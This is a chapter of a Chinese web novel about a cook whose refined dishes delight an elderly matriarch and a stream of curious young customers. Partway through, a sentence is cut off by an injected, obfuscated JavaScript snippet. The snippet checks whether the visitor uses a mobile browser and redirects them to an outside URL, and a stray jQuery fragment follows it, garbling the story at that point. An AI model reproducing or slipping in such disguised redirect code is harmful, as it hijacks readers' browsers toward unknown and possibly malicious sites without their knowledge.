16. 玛瑙荔枝肉

瓷白的小盅里盛着透亮晶润的高汤,一丝杂质也无。


一朵惟妙惟肖的豆腐万寿菊在当心伫如空谷幽兰。


形如柳叶的白玉盘,只在圆的那一头放了一簇各色丁子炒瓜片。


其他地方的留白,有寥寥几笔褐汁作线,活活脱一副清幽山水图。


连松琦素来服膺食不厌精,脍不厌细。


云家上下承惠于她营造的起居坐卧水准,小辈也爱四处寻摸好玩意来装点她的养老生活。


现下见了这两道蓝记出品的菜,连老太太奇道:“这是哪一家的师承,倒是不曾见过。”


云江望拿起面前的银箸,笑得爽朗:“祖母一试便知,保准是您没吃过的味道呢。”


连松琦搛起一片佛手瓜,托着两三粒亮津津的各色丁子,放入口中慢慢品着。


连松琦的目光一下子亮了,美味!果仁香味和蔬果香味交缠错杂,鲜美的鸡肉味若隐若现地托着底。


茄子并不油腻,却吸足了每一种菜色的风味。调料不夺其香鲜,只是恰到好处地把每样食材的本味激发出来。


连松琦虽口味挑剔,但顾及年纪和身体,很注意保养。宁愿少食多餐,也从不愿多吃几口。


当下却是一下一下不停地去搛那盘茄鲞佛手瓜,姿态虽优雅,速度却可称得上风卷残云。


直到这菜下去了半盘子,才幽幽地停住了,去看面前另一道万寿菊样的豆腐花。


此菜色汤如清水,澄如溪泉,却锲而不舍地往空气中持续泼洒一种纯粹的肉香。


这样宁静高洁的样子,连松琦本以为该是素斋,拿小银勺略抿一点清汤入口,方知其中玄机。


汤水不油不咸,像山泉一样涤荡唇舌,回味却满口馨香。


似乎是那仙家御兽苑里满山满野的鲜物,皆自发排着队地跳进这汤锅,没有一丝人间的杂谷浊气。


再品一口飘渺如精灵的豆腐丝。兴许是做这豆腐的水好,是山中醴泉,豆子也好,竟有一种从未体会过的“豆腐味”。


食此方知何为“豆腐”!


若只这样才是豆腐,那么从前吃过的那些略无浓醇豆香的东西,只怕都是稀水罢了!


更不要提面前这盅豆腐吸饱了各色油脂香,好像没有在吃肉,又好像把这世上的荤鲜都凝在这一口之中了。


山珍海味,或许不过如此了。


连松琦完全忘记了自己的养生之道,直把这两道蓝记私房特供菜用得干干净净。


云江望在一旁只陪着,面上带着果然如此的了然的笑,似是完全压抑了住自己的食欲似的。


——并没有,只是蓝姐姐给她尝过啦!剩下那些卖相不够精致的部分,眼下只怕都已经出现她卧房的小几上了。


“阿奶,我没有哄你玩吧,果然是私家特供,从没有人吃过的菜吧?”


连松琦慢条斯理地拿起湖蓝苏绣帕子,轻拭嘴角,骄矜地说:“倒还可以入口一二。”


云江望扭过脸来和祖母身边的程妈妈对了下眼神,俱都吃吃地笑了。


“能让我们老夫人动上几筷子,那就是摆去王母的蟠桃宴,也不会辱没了的,可见这位厨娘很是用心呢。”程妈妈很欣慰连老夫人有这样省心的好胃口。


云江望顺杆子爬,撒娇道:“祖母且说,当不当得一句特别?”


连松琦轻咳两声:“得闲再请来府里,不拘什么再整治几样试试。”


云江望是拿着鸡毛就要当令箭的主,当下就使人给蓝锦送信,第二天一早就把人给请来了。


蓝锦笑得梨涡深深,厨刀翩飞,再给连老太太做了一盘福寿鱼生。


做了高山流水的置景,蘸的是味极鲜并山葵酱。


再有一份山楂福字面果,是拿山楂打底的果泥,一片片裹成白底红字的一条。


红白相间,每切一片都是一个“福”字。


饶是见惯大大小小、拟形拟物果子糕饼的连老太太,也拍手称奇了。


于是蓝锦携着许多赏玩之物,被客客气气地送出了云家的大门。


一路上净撩开车帘子四处探看,春风满面,招猫逗狗地回了蓝记饮食店。


不出一日,这消息就传到了昭应城各户体面人家的娇女耳中。


连老太太有新的心头好了!


听说很满意的样子,连赏钱都是平素的三倍!


还是私房特供,限时的活动,不吃就吃不上了。


只是出自一家市井食肆,门脸都只有一进,几张小桌罢了。


一群蠢蠢欲动兴奋得像土拨鼠一样的女儿家不禁犹豫了。


凑在一起的几人皆装作浑不在意的模样。


“那种地方能有什么好菜色,恐怕连天香楼都比不上吧。”


“就是,我是不屑吃的,谁知她用的刀板,干不干净呢?”


“是啊是啊,不知平素都是给些什么样人烹食噫。”


“对呀,昨日去云家不过赶巧了吧,老夫人没吃过乡野粗食,一时叫她捡了便宜。”


“我可看不上那使噱头唬人的行径,不好好敬奉灶王爷,侍弄蔬食,倒弄这些花头,谁要去上当。”


“可不是嘛,当谁稀罕呢,没了就没了,吃不上就吃不上呗。”


如是七嘴八舌,几人都说好了,谁都不会去的,谁去谁掉价。


由是便扭过头去,环佩叮当的,各回各家,匆匆乘车走了。


第二天一早,蓝锦甫一打开蓝记饮食店的大门,就看到一个身着竹青袍子的乌黑圆脑袋,在大柳树后探来探去。


嘶,好似是洛修远她们书院的服样?


小秋都挎着小小号布书包走了,修远怎么还在这里?


蓝锦麻利地擦洗饭桌,只远远地唤道:“是修远吗?今日怎么还没去上学,书院有假吗?”


乌黑圆脑袋慢慢钻出来,慢慢踱步到蓝记门口。


咦,不是修远,是个陌生小娘子,身上一清二白,连个耳饰也没有。


“啊,我不上学,啊,不是不是,我来吃,不,我不是……”


蓝锦越发迷惑了,莫不是脑子不太清爽?


“小妹妹,你遇到什么事了吗,不要怕,可还记得家在哪个坊?”


好似又不太像……看她手背在后面,还提着一整块五花肉呢!


沈苏琰更不好意思了,扭脸看看四下无人,小步小步挪到屋


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090784|163650||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


里。


在蓝锦身边,低着头,用极小极小的声音说:“这位姐姐,能不能帮我做点吃的?”


蓝锦接过那提五花肉,心中变换不定。


莫非是家中不便,好容易攒出些许银钱,巴巴地来央自己慰一下五脏庙。


瞧那衣袍,袖口洗得发白了。


是有耳洞的,却连城中打耳洞的女儿家常用的,养耳洞的小银钩子,也戴不起的。


蓝锦满面心疼请她坐下,还给她拿了糖渍樱桃李,和新试验出的珍珠牛乳茶。


沈苏琰把这一杯一碟往怀里一拢,再次探头探脑地去看外间有无熟面孔,方才放心地低下头去嗅那股沁人心脾的甜香。


快快地往嘴里塞一枚,嗯~酸甜有味,软弹粘糯,还精心去了核,享受!


再低下头去就碧玉杯子,沿着杯沿吮一大口浅绛色的珍珠牛乳茶。


哇,从没喝过这么好喝的饮子欸。


牛乳没有想象中的腥味,只有奶香,直把人温温柔柔地包裹在云团中。


舌间掺杂了红茶的清香,二者相得益彰,甜味更甜,茶味更香。


用那小银勺一搅,乌玉珠一样弹弹的小圆子浮上浮下,捞起一颗放在口中——


天呐天呐!沈苏琰只想双手捧腮,向天大叫一声,这是什么人间美味啊啊啊!


焦糖的甜香味愈嚼愈浓,弹嫩的质感是任何一种食物都没有过的。


沈苏琰在口中嚼了又嚼,直到全都化了才舍得咽下。


这焦糖味的乌玉小球貌不惊人,搭配上这清甜的牛乳和红茶,却叫人无法自拔。


沈苏琰沉醉了。


沈苏琰忘记了一切,忘记了自己身在何方,甚至忘记了自己姓甚名谁。


蓝锦复又给她端来了一份玛瑙荔枝肉。


五花肉片经由红米曲水和酒糟的着色,变得酡红似粉钻。


又被均匀地切了薄片,改了花刀,裹成荔枝样的小球,炸得朱红。


接着被糖醋汁子入锅一翻炒,水淀粉一勾芡。


直变成一碟粒粒分明,嫣红诱人,晶亮拉丝的玛瑙荔枝肉。在白净的盘身上,不住地向沈苏琰抛着媚眼。


夹起一颗放入口中,外酥里嫩,汁香四溢,酸甜可人。


过了油,糖醋口,完全是年轻小娘子的爱物。


年轻小娘子沈苏琰完全被拿下了。


沈苏琰幸福得只差泪水横流了,一边头也不抬地不停往嘴里塞,一边忍不住跟蓝锦说:


“真好吃,太好吃了,太香了,我这辈子都没吃过这么好吃的肉。”


蓝锦笑着谢过客人赏识,又去忙着招待旁的顾客。


真是奇怪,也不知是怎么了,来的人都和第一个小娘子一模一样。


一模一样的打扮,一模一样的神态,一模一样的话语,连声音也是如出一辙地小。


蓝锦心下纳罕,却也笑容满面地接下这些单子去了灶间。


沈苏琰吃得热火朝天,恋恋不舍地咽下一口荔枝肉,大声说道:“这位姐姐,你得闲能去我家管厨房吗?”


空气凝固了。


蓝记饮食店内此时落一根针都能听见响声。